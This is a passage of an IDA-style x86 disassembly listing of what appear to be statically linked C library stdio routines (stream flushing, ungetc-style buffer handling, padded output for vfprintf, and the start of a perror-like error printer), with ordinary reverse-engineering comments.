		jz	short loc_806206E
		and	dword ptr [ebx], 0FFFFFFEFh

loc_806206E:				; CODE XREF: sub_806203C+2Dj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_806203C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062078	proc near

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+4]
		cmp	[ebx+0Ch], eax
		jnb	short loc_8062094
		dec	dword ptr [ebx+4]
		mov	eax, [ebx+4]
		movzx	eax, byte ptr [eax]
		jmp	short loc_806209F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062094:				; CODE XREF: sub_8062078+Dj
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+2Ch]
		call	eax

loc_806209F:				; CODE XREF: sub_8062078+18j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_80620A7
		and	dword ptr [ebx], 0FFFFFFEFh

loc_80620A7:				; CODE XREF: sub_8062078+2Aj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8062078	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80620B0	proc near

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dx, [ebp+arg_4]
		inc	dx
		mov	[eax+44h], dx
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_80620B0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80620C8	proc near		; CODE XREF: sub_8060FA8+72p
					; sub_8062154+29p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		lea	edx, [esi+ebx]
		cmp	edx, ebx
		jbe	short loc_8062144
		mov	ecx, edx
		mov	eax, ebx
		sub	eax, edx
		and	eax, 3
		cmp	edx, ebx
		jle	short loc_8062101
		test	eax, eax
		jz	short loc_806210C
		cmp	eax, 3
		jge	short loc_8062101
		cmp	eax, 2
		jge	short loc_80620FB
		dec	edx
		cmp	byte ptr [edx],	0Ah
		jz	short loc_8062138

loc_80620FB:				; CODE XREF: sub_80620C8+2Bj
		dec	edx
		cmp	byte ptr [edx],	0Ah
		jz	short loc_8062138

loc_8062101:				; CODE XREF: sub_80620C8+1Dj
					; sub_80620C8+26j
		dec	edx
		cmp	byte ptr [edx],	0Ah
		jz	short loc_8062138
		jmp	short loc_8062140
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806210C:				; CODE XREF: sub_80620C8+21j
					; sub_80620C8+7Aj
		lea	eax, [edx-1]
		cmp	byte ptr [edx-1], 0Ah
		jz	short loc_8062127
		lea	eax, [edx-2]
		cmp	byte ptr [edx-2], 0Ah
		jz	short loc_8062127
		lea	eax, [edx-3]
		cmp	byte ptr [edx-3], 0Ah
		jnz	short loc_8062130

loc_8062127:				; CODE XREF: sub_80620C8+4Bj
					; sub_80620C8+54j
		sub	ecx, eax
		mov	eax, ecx
		dec	eax
		jmp	short loc_8062149
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062130:				; CODE XREF: sub_80620C8+5Dj
		add	edx, 0FFFFFFFCh
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_8062140

loc_8062138:				; CODE XREF: sub_80620C8+31j
					; sub_80620C8+37j ...
		mov	eax, ecx
		sub	eax, edx
		dec	eax
		jmp	short loc_8062149
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062140:				; CODE XREF: sub_80620C8+3Fj
					; sub_80620C8+6Ej
		cmp	edx, ebx
		ja	short loc_806210C

loc_8062144:				; CODE XREF: sub_80620C8+10j
		mov	eax, [ebp+arg_0]
		add	eax, esi

loc_8062149:				; CODE XREF: sub_80620C8+64j
					; sub_80620C8+75j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80620C8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062154	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		cmp	word ptr [edx+44h], 0
		jnz	short loc_806216C
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806216C:				; CODE XREF: sub_8062154+Bj
		mov	eax, [edx+14h]
		sub	eax, [edx+10h]
		push	eax
		mov	eax, [edx+10h]
		push	eax
		movzx	eax, word ptr [edx+44h]
		dec	eax
		push	eax
		call	sub_80620C8
		mov	esp, ebp
		pop	ebp
		retn
sub_8062154	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062188	proc near		; CODE XREF: abort+1Dp	exit+61p ...

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		xor	esi, esi
		mov	ebx, off_80787F8
		test	ebx, ebx
		jz	short loc_80621C3
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_806219C:				; CODE XREF: sub_8062188+39j
		mov	eax, [ebx+14h]
		cmp	[ebx+10h], eax
		jnb	short loc_80621BC
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+14h]
		call	eax
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_80621BC
		mov	esi, 0FFFFFFFFh

loc_80621BC:				; CODE XREF: sub_8062188+1Aj
					; sub_8062188+2Dj
		mov	ebx, [ebx+34h]
		test	ebx, ebx
		jnz	short loc_806219C

loc_80621C3:				; CODE XREF: sub_8062188+Fj
		mov	eax, esi
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062188	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80621D0	proc near		; CODE XREF: sub_806106C+2Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, off_80787F8
		test	ebx, ebx
		jz	short loc_80621FB
		lea	esi, [esi]

loc_80621E0:				; CODE XREF: sub_80621D0+29j
		test	byte ptr [ebx+1], 2
		jz	short loc_80621F4
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+14h]
		call	eax
		add	esp, 8

loc_80621F4:				; CODE XREF: sub_80621D0+14j
		mov	ebx, [ebx+34h]
		test	ebx, ebx
		jnz	short loc_80621E0

loc_80621FB:				; CODE XREF: sub_80621D0+Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80621D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062204	proc near		; CODE XREF: sub_8062238+8p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, off_80787F8
		test	ebx, ebx
		jz	short loc_8062230
		lea	esi, [esi]

loc_8062214:				; CODE XREF: sub_8062204+2Aj
		test	byte ptr [ebx],	2
		jnz	short loc_8062229
		mov	eax, [ebx+50h]
		push	0
		push	0
		push	ebx
		mov	eax, [eax+54h]
		call	eax
		add	esp, 0Ch

loc_8062229:				; CODE XREF: sub_8062204+13j
		mov	ebx, [ebx+34h]
		test	ebx, ebx
		jnz	short loc_8062214

loc_8062230:				; CODE XREF: sub_8062204+Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8062204	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062238	proc near
		push	ebp
		mov	ebp, esp
		call	sub_8062188
		call	sub_8062204
		mov	esp, ebp
		pop	ebp
		retn
sub_8062238	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806224C	proc near

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	[esi+4], ebx
		test	byte ptr [ebx+1], 8
		jz	short loc_8062266
		push	ebx
		call	sub_806186C

loc_8062266:				; CODE XREF: sub_806224C+12j
		test	byte ptr [ebx+1], 1
		jz	short loc_8062274
		mov	edx, [ebx+4]
		sub	edx, [ebx+8]
		jmp	short loc_806227A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062274:				; CODE XREF: sub_806224C+1Ej
		mov	edx, [ebx+4]
		sub	edx, [ebx+0Ch]

loc_806227A:				; CODE XREF: sub_806224C+26j
		mov	[esi+8], edx
		mov	eax, [ebx+30h]
		mov	[esi], eax
		mov	[ebx+30h], esi
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_806224C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062290	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		add	edx, 30h
		cmp	dword ptr [edx], 0
		jz	short loc_80622B7
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_80622A4:				; CODE XREF: sub_8062290+25j
		cmp	[edx], eax
		jnz	short loc_80622B0
		mov	eax, [eax]
		mov	[edx], eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80622B0:				; CODE XREF: sub_8062290+16j
		mov	edx, [edx]
		cmp	dword ptr [edx], 0
		jnz	short loc_80622A4

loc_80622B7:				; CODE XREF: sub_8062290+Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_8062290	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80622BC	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	edx, [edx+8]
		sub	edx, [eax+8]
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_80622BC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80622D4	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_80622EC
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80622EC:				; CODE XREF: sub_80622D4+Aj
		mov	eax, [edx+4]
		test	byte ptr [eax+1], 1
		jz	short loc_8062300
		mov	ecx, [eax+4]
		sub	ecx, [eax+8]
		jmp	short loc_8062309
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062300:				; CODE XREF: sub_80622D4+1Fj
		mov	eax, [edx+4]
		mov	ecx, [eax+4]
		sub	ecx, [eax+0Ch]

loc_8062309:				; CODE XREF: sub_80622D4+27j
		mov	eax, ecx
		mov	edx, [edx+8]
		sub	edx, eax
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_80622D4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062318	proc near

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	[esi+4], ebx
		jz	short loc_8062330
		mov	eax, 0FFFFFFFFh
		jmp	short loc_806235F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062330:				; CODE XREF: sub_8062318+Ej
		cmp	dword ptr [esi+8], 0
		jl	short loc_8062348
		test	byte ptr [ebx+1], 1
		jz	short loc_8062342
		push	ebx
		call	sub_806180C

loc_8062342:				; CODE XREF: sub_8062318+22j
		mov	edx, [ebx+0Ch]
		jmp	short loc_8062357
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062348:				; CODE XREF: sub_8062318+1Cj
		test	byte ptr [ebx+1], 1
		jnz	short loc_8062354
		push	ebx
		call	sub_806183C

loc_8062354:				; CODE XREF: sub_8062318+34j
		mov	edx, [ebx+8]

loc_8062357:				; CODE XREF: sub_8062318+2Dj
		add	edx, [esi+8]
		mov	[ebx+4], edx
		xor	eax, eax

loc_806235F:				; CODE XREF: sub_8062318+15j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062318	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062368	proc near		; CODE XREF: sub_8060D44+21p
					; sub_8061278+1C5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+30h], 0
		jz	short loc_806237B
		mov	dword ptr [eax+30h], 0

loc_806237B:				; CODE XREF: sub_8062368+Aj
		cmp	dword ptr [eax+24h], 0
		jz	short loc_8062387
		push	eax
		call	sub_80618D4

loc_8062387:				; CODE XREF: sub_8062368+17j
		mov	esp, ebp
		pop	ebp
		retn
sub_8062368	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806238C	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [edx+4]
		cmp	[edx+0Ch], eax
		jnb	short loc_80623A0
		dec	dword ptr [edx+4]

loc_80623A0:				; CODE XREF: sub_806238C+Fj
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_80623B1
		mov	edx, [edx+4]
		movzx	eax, byte ptr [edx]
		cmp	eax, ecx
		jz	short loc_80623B1
		mov	[edx], cl

loc_80623B1:				; CODE XREF: sub_806238C+17j
					; sub_806238C+21j
		movzx	eax, cl
		mov	esp, ebp
		pop	ebp
		retn
sub_806238C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80623B8	proc near		; CODE XREF: sub_8053180+1Ep

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+4]
		cmp	[edi+0Ch], eax
		jb	loc_8062474
		cmp	dword ptr [edi+24h], 0
		jz	short loc_80623EB
		test	byte ptr [edi+1], 1
		jnz	short loc_80623E5
		push	edi
		call	sub_806183C
		add	esp, 4

loc_80623E5:				; CODE XREF: sub_80623B8+22j
		cmp	dword ptr [edi+24h], 0
		jnz	short loc_8062414

loc_80623EB:				; CODE XREF: sub_80623B8+1Cj
		push	80h
		call	malloc
		add	esp, 4
		test	eax, eax
		jz	short loc_8062438
		mov	[edi+24h], eax
		add	eax, 80h
		mov	[edi+2Ch], eax
		mov	[edi+28h], eax
		push	edi
		call	sub_806183C
		jmp	short loc_8062474
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062414:				; CODE XREF: sub_80623B8+31j
		mov	eax, [edi+4]
		cmp	[edi+0Ch], eax
		jb	short loc_8062474
		mov	esi, [edi+8]
		sub	esi, [edi+0Ch]
		lea	ecx, [esi+esi]
		mov	[ebp+var_4], ecx
		push	ecx
		call	malloc
		mov	[ebp+var_8], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_8062440

loc_8062438:				; CODE XREF: sub_80623B8+42j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8062493
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062440:				; CODE XREF: sub_80623B8+7Ej
		mov	ebx, [ebp+var_4]
		sub	ebx, esi
		mov	eax, [edi+0Ch]
		add	ebx, [ebp+var_8]
		push	esi
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	eax, [edi+0Ch]
		push	eax
		call	free
		mov	ecx, [ebp+var_8]
		mov	[edi+0Ch], ecx
		mov	[edi+4], ebx
		add	ecx, [ebp+var_4]
		mov	[edi+8], ecx
		mov	eax, [edi+4]
		mov	[edi+28h], eax

loc_8062474:				; CODE XREF: sub_80623B8+12j
					; sub_80623B8+58j ...
		dec	dword ptr [edi+4]
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_806248D
		mov	edx, [edi+4]
		movzx	eax, byte ptr [edx]
		cmp	[ebp+arg_4], eax
		jz	short loc_806248D
		mov	cl, byte ptr [ebp+arg_4]
		mov	[edx], cl

loc_806248D:				; CODE XREF: sub_80623B8+C3j
					; sub_80623B8+CEj
		mov	eax, [edi+4]
		movzx	eax, byte ptr [eax]

loc_8062493:				; CODE XREF: sub_80623B8+85j
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80623B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80624A0	proc near
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_80624A0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80624AC	proc near
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_80624AC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80624B8	proc near
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_80624B8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80624C4	proc near
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_80624C4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80624D0	proc near		; CODE XREF: sub_805F68C+6Cp
					; sub_805F730+60p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		xor	al, al		; strlen setup
		mov	edi, ebx	; strlen setup
		cld			; strlen setup
		mov	ecx, 0FFFFFFFFh	; strlen setup
		repne scasb		; strlen(arg_0)
		mov	eax, ecx	; strlen cleanup, move result into eax
		not	eax		; strlen cleanup
		lea	edi, [eax-1]	; address of null terminator in	the string
		test	edx, edx	; if (arg_4 != NULL)
		jnz	short loc_8062500

loc_80624F2:				; CODE XREF: sub_80624D0+3Cj
		mov	__errno, 16h	; EINVAL
		jmp	short loc_8062524 ; return -1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062500:				; CODE XREF: sub_80624D0+20j
		mov	eax, [edx]	; valid	pointer	test setup?
		and	eax, 0FFFF0000h	; valid	pointer	test setup?
		cmp	eax, 0FBAD0000h	; valid	pointer	test?
		jnz	short loc_80624F2 ; return -1 (EINVAL)
		mov	eax, [edx+50h]
		push	edi
		push	ebx
		push	edx
		mov	eax, [eax+34h]
		call	eax
		cmp	eax, edi
		jnz	short loc_8062524 ; return -1
		mov	eax, 1
		jmp	short loc_8062529 ; return 1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062524:				; CODE XREF: sub_80624D0+2Cj
					; sub_80624D0+4Bj
		mov	eax, 0FFFFFFFFh

loc_8062529:				; CODE XREF: sub_80624D0+52j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80624D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062534	proc near		; CODE XREF: vfprintf+1219p
					; vfprintf+13A3p ...

var_1C		= byte ptr -1Ch
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, 20h
		jnz	short loc_8062550
		mov	esi, offset a00000000000000 ; "		       0000000000000000"
		jmp	short loc_806258F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062550:				; CODE XREF: sub_8062534+11j
		cmp	eax, 30h
		jnz	short loc_806255C
		mov	esi, 8069A40h
		jmp	short loc_806258F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806255C:				; CODE XREF: sub_8062534+1Fj
		mov	[ebp+var_1], al
		mov	[ebp+var_2], al
		mov	[ebp+var_3], al
		mov	[ebp+var_4], al
		mov	[ebp+var_5], al
		mov	[ebp+var_6], al
		mov	[ebp+var_7], al
		mov	[ebp+var_8], al
		mov	[ebp+var_9], al
		mov	[ebp+var_A], al
		mov	[ebp+var_B], al
		mov	[ebp+var_C], al
		mov	[ebp+var_D], al
		mov	[ebp+var_E], al
		mov	[ebp+var_F], al
		mov	[ebp+var_10], al
		lea	esi, [ebp+var_10]

loc_806258F:				; CODE XREF: sub_8062534+18j
					; sub_8062534+26j
		mov	ebx, [ebp+arg_8]
		cmp	ebx, 0Fh
		jle	short loc_80625B9
		nop

loc_8062598:				; CODE XREF: sub_8062534+83j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+50h]
		push	10h
		push	esi
		push	edx
		mov	eax, [eax+34h]
		call	eax
		add	edi, eax
		add	esp, 0Ch
		cmp	eax, 10h
		jnz	short loc_80625CD
		add	ebx, 0FFFFFFF0h
		cmp	ebx, 0Fh
		jg	short loc_8062598

loc_80625B9:				; CODE XREF: sub_8062534+61j
		test	ebx, ebx
		jle	short loc_80625CD
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+50h]
		push	ebx
		push	esi
		push	edx
		mov	eax, [eax+34h]
		call	eax
		add	edi, eax

loc_80625CD:				; CODE XREF: sub_8062534+7Bj
					; sub_8062534+87j
		mov	eax, edi
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062534	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80625DC	proc near		; CODE XREF: sub_805CE84+439p
					; sub_805DA10+B6p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, __errno
		call	sub_805E954
		test	esi, esi
		jz	short loc_80625F9
		cmp	byte ptr [esi],	0
		jnz	short loc_8062608

loc_80625F9:				; CODE XREF: sub_80625DC+16j
		mov	edi, 8069A50h
		mov	esi, 8069A50h
		jmp	short loc_806260D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062608:				; CODE XREF: sub_80625DC+1Bj
		mov	edi, offset asc_8069A51	; ": "

loc_806260D:				; CODE XREF: sub_80625DC+27j
		test	ebx, ebx
		jl	short loc_8062648
		cmp	ds:dword_806BBB8, ebx
		jle	short loc_8062648
		mov	eax, ds:dword_806AE98[ebx*4]
		push	eax
		lea	eax, [ebx+1]
		push	eax
		push	1
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
